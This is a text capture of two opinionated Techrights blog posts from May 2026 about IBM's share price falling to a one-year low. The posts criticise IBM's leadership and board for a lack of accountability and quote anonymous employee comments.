⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⡇⠀⠀⠀⠀⠀⠈⠒⠨⠉⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⣿⡟⣾⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠍⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠰⢷⣤⢀⣀⡀⠀⠀⣰⡶⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢻⣭⣡⠶⣲⣶⣶⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠰⠂⠀⠀⠀⠘⠻⠢⡄⢬⠛⣷⣶⣶⣶⣶⣶⣶⣶⣷⣶⣶⣶⣰⣤⠀⠀⠁⠀⠀⠀⠀⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⡆⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⡿⠀⠀⠀⠀⠀⠀⠒⠂⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀ ⣷⣿⣿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⢻⢻⡿⣿⣿⣿⣭⣿⣿⢻⢛⣿⡏⣛⢹⠻⣿⡏⡯⡟⠿⢻⣻⣿⡏⣿⡟⣿⡟⡟⡟⢿⢹⢻⢻⡟⣿⣽⣟⣿⣿⡟⡿⣻⣻⣿⣟⣿⢻⢻⣿⣽⡿⡟⣟⣻⢿⢿⡍⡿⡟⡿⢻⣿⡽⢹⡟⣟⢿⢹⢻⠟⡟⣿⢹⢻⣿⢻ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ䷩ 𝚕𝚒𝚗𝚎 914 ╒═══════════════════ 𝐀𝐑𝐓𝐈𝐂𝐋𝐄 ═════════════════════════════════════════════════╕ (ℹ) Images, hyperlinks and comments at https://techrights.org/n/2026/05/12/IBM_Falls_to_One_year_Low.shtml Gemini version at gemini://gemini.techrights.org/n/2026/05/12/IBM_Falls_to_One_year_Low.gmi ⠀⌧ █▇▆▅▄▃▂▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁ IBM Falls to One-year Low⠀▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▂▃▄▅▆▇█ ⌧ posted by Roy Schestowitz on May 12, 2026 Hours ago: If_IBM_Suddenly_Vanished_in_the_1980s,_There_Would_be_Chaos._Not Anymore. Mere seconds ago: 🄸🄼🄰🄶🄴 🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽 ⦇IBM Common Stock⦈ So there you go. IBM has hit bottom. At one point or threshold does the Board (controlled by the CEO) sack the CEO? * Gemini_Links_12/05/2026:_On_Astronomy_and_Stargazing,_Coyote_Time,_and Freenom * Links_12/05/2026:_Samsung_Sued_by_Dua_Lipa_(Publicity_Rights),_‘Savage Love’_Copyright_Infringement_Lawsuit ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣏⡿⣽⡿⣽⣿⢟⣻⢛⢟⢻⢛⢟⢿⣛⢿⣟⣿⣏⢿⣛⣟⡻⢟⣻⠹⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣯⣷⣿⣶⣿⣿⣮⣽⣮⣿⣼⣾⣾⣾⣼⣼⣯⣾⣿⣿⣯⣵⣯⣿⣵⣮⣽⣼⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣯⡷⣹⣵⢿⢿⣮⣿⣿⣕⢿⣑⡺⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣯⣾⣿⣽⣿⣯⣯⣯⣿⣽⣽⣯⣵⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣯⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ䷩ 𝚕𝚒𝚗𝚎 982 ╒═══════════════════ 𝐀𝐑𝐓𝐈𝐂𝐋𝐄 ═════════════════════════════════════════════════╕ (ℹ) Images, hyperlinks and comments at https://techrights.org/n/2026/05/12/IBM_Lost_Nearly_33_in_Value_in_3_Months_Shares_Down_100_But_Nob.shtml Gemini version at gemini://gemini.techrights.org/n/2026/05/12/IBM_Lost_Nearly_33_in_Value_in_3_Months_Shares_Down_100_But_Nob.gmi ⠀⌧ █▇▆▅▄▃▂▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁ IBM Lost Nearly 33% in "Value" in 3 Months (Shares Down $100), But Nobody Held Accountable⠀▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▂▃▄▅▆▇█ ⌧ posted by Roy Schestowitz on May 12, 2026, updated May 12, 2026 Hours ago: 🄸🄼🄰🄶🄴 🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽 ⦇Last day at IBM.⦈ Closing and after trading hours (same): 🄸🄼🄰🄶🄴 🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽 ⦇IBM Common Stock⦈ Lowest_in_over_a_year. This is getting_noticed: 🄸🄼🄰🄶🄴 🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽 ⦇not 100 but def sub 200. Yes they need to get traction on their quantum buzz asap. People aren’t taking the bait at moment. Maybe savy to the wash rinse repeat tactics?⦈ The S&P 500 rose by about 15-20% in the same period IBM sank about $100 and lost about 33% of its "value". Prior to "Gin" and "Arvind" IBM was one of the most valuable 'tech' companies in the world, probably the most valuable (bar Apple) at_least_temporarily. 🄸🄼🄰🄶🄴 🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽 ⦇BOOM: IBM Is Now Worth More Than Microsoft⦈ Several people in the active_discussions_at_thelayoff.com have asked (earlier today) why top-level IBM management isn't held accountable for the failures, not only as measured by the stock market but even objectively when it comes to failure of products, especially the slop offerings. Watch what's being said about who gets promoted in IBM: 🄸🄼🄰🄶🄴 🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽 ⦇I used to think working hard was the path to promotion, before I watched three people who barely do their jobs get ahead because they know the right people. Now I spend more time on politics than on actual work, and I feel no guilt. That's just how this place works. [troll/slop]⦈ Brutal. More examples of this today in other threads. How low need the stock go for the Board (headed by the CEO) to sack the CEO? This is a truly dysfunctional company. There is no oversight. Audits of IBM's books (financial engineering) is done by a private company paid by IBM. This won't end well. █ * Gemini_Links_12/05/2026:_Spring_Cleaning_and_New_GemText_Software * The_Corrupt_Lecture_the_Non-Corrupt_-_Part_XXI_-_EPO_President_Campinos Bribing_to_Buy_His_Seat,_But_Cautions_Staff_Against_Bribery ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⠱⣿⣿⣿⣿⣿⣘⣑⣈⣌⣎⣰⣿⣠⣸⣇⣨⣎⣰⣁⣃⣈⣸⣗⡣⣨⣣⣼⣞⣙⣿⣽⣞⣽⣿⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣶⣿⣴⣿⣼⣿⣼⣯⣦⣿⣿⣿⣾⣷⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣷⠀⣿⣿⣿⣿⣿⣯⣿⣹⣿⣿⣿⣿⣿⣿⣿⣝⣉⣉⣭⣿⣯⣫⣹⣯⣿⣯⣝⣿⣩⣩⣉⣿⣏⣿⣩⣯⣻⣿⣩⣋⣨⣿⣯⣝⣿⣿⣿⣟⣟⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣯⣀⠸⠃⣀⣽⣿⣿⣿⣿⣿⣿⣿⣿⣟⣿⣿⣿⠆⢾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣇⣃⣑⣆⣯⣺⣈⢥⣇⣠⣿⣃⣻⣬⣘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⡿⡿⢿⢿⢿⠿⣿⣿⢿⡿⡿⡿⣿⢿⠿⡿⠿⡿⣿⠿⡿⡿⡿⢿⡿⣿⣿⠿⣿⢿⡿⡿⡿⡿⠿⡿⡿⢿⡿⣿⠿⣿⠿⢿⢿⣿⢿⢿⢿⢿⢿⣿⢿⣿⠿⣿⠿⣿⢿⣿⢿⢿⡿⢿⣿⣿⣿⠿⡿⣿⡿⣿⣿⣿⣿ ⣿⣿⣿⣿⣧⣿⣼⣧⣬⣗⣶⣽⣥⣧⣮⣿⣤⣤⣧⣼⣧⣼⣨⣦⣯⣆⣽⣦⣿⣤⣿⣴⣽⣿⣦⣦⣮⣼⣧⣤⣽⣮⣮⣴⣿⣥⣷⣼⣿⣤⣼⣽⣼⣼⣤⣿⣴⣧⣴⣤⣯⣬⣷⣽⣼⣸⣼⣿⣭⣥⣿⣯⣦⣧⣿⣿⣿⣿ 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⣿⣿⣿⣿⡟⡭⢻⣿⣿⡿⠿⡿⢿⡿⠿⠿⡿⠿⠿⡿⠿⠿⡿⡿⠿⠿⠿⢿⠿⠿⠿⡿⢿⠿⡿⠿⡿⠿⡿⡿⡿⠿⡿⠿⡿⠿⢿⠿⠿⡿⠿⡿⠿⡿⠿⣿⠿⡿⠿⢿⠿⢿⠿⠿⠿⠿⢿⣿⡟⡛⢻⡇⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠥⣿⣿⣿⡧⣼⣤⣶⣧⣤⣦⣧⡤⢤⣧⣦⣬⣦⣤⣼⣤⣤⣼⣤⢤⣤⣽⣴⢥⣿⣭⣬⣶⣯⣬⣮⣤⣯⣤⣧⣬⣼⡮⡧⣬⡮⣮⣤⣧⣮⣽⣭⣤⣬⢿⣵⣥⣤⣤⢤⣤⣼⣿⣿⣿⣿⡇⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣤⣿⣿⣿⣧⣴⣤⣤⣧⣤⣤⣬⣧⣦⣤⣴⣤⣼⣤⣦⣴⣧⣧⣤⣴⣶⣅⣧⣴⣤⣧⣤⣦⣧⣤⣧⣤⣤⣶⣥⣴⣬⣧⣥⣴⣡⣤⣼⣤⣬⣮⣧⣤⣧⣤⣤⣧⣥⣤⣤⣿⣿⣿⣿⣿⣿⡇⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣏⠧⣹⣿⣿⣏⣈⣉⣉⣏⣉⢉⣉⣉⣹⣉⣉⣉⣉⣹⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⣿⣿⣿⣿⣿⣿ 